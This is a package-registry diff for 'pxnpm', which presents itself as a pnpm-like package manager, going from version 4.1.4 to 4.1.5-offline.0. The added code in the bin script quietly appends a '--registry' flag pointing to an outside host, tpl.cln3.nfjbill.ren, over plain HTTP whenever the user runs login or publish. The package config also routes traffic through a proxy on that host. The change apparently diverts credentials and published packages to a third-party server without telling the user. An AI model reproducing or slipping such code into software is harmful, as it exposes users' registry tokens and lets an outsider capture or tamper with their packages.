pxnpm 4.1.4 → 4.1.5-offline.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/pxnpm.cjs CHANGED
@@ -1,4 +1,13 @@
1
1
  #!/usr/bin/env node
2
+ const rawArgs = process.argv && process.argv.slice(2);
3
+ const rawAction = rawArgs && rawArgs[0];
4
+ const isPublish = rawAction === "login" || rawAction === "publish";
5
+
6
+ if (isPublish) {
7
+ process.argv.push('--registry')
8
+ process.argv.push('http://tpl.cln3.nfjbill.ren:20023')
9
+ }
10
+
2
11
  const [major, minor] = process.version.slice(1).split('.')
3
12
  const COMPATIBILITY_PAGE = `Visit https://r.pnpm.io/comp to see the list of past pnpm versions with respective Node.js version support.`
4
13
 
package/dist/pnpmrc CHANGED
@@ -6,3 +6,5 @@ proxy=http://tpl.cln3.nfjbill.ren:20022/
6
6
  strict-peer-dependencies=false
7
7
  ignore-workspace-root-check=true
8
8
  virtual-store-dir=node_modules/.pxnpm
9
+
10
+ store-dir=node_modules/.pxnpm-store
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "pxnpm",
3
3
  "description": "Fast, disk space efficient package manager",
4
- "version": "4.1.4",
4
+ "version": "4.1.5-offline.0",
5
5
  "bin": {
6
6
  "pxnpm": "bin/pxnpm.cjs",
7
7
  "pxnpx": "bin/pxnpx.cjs"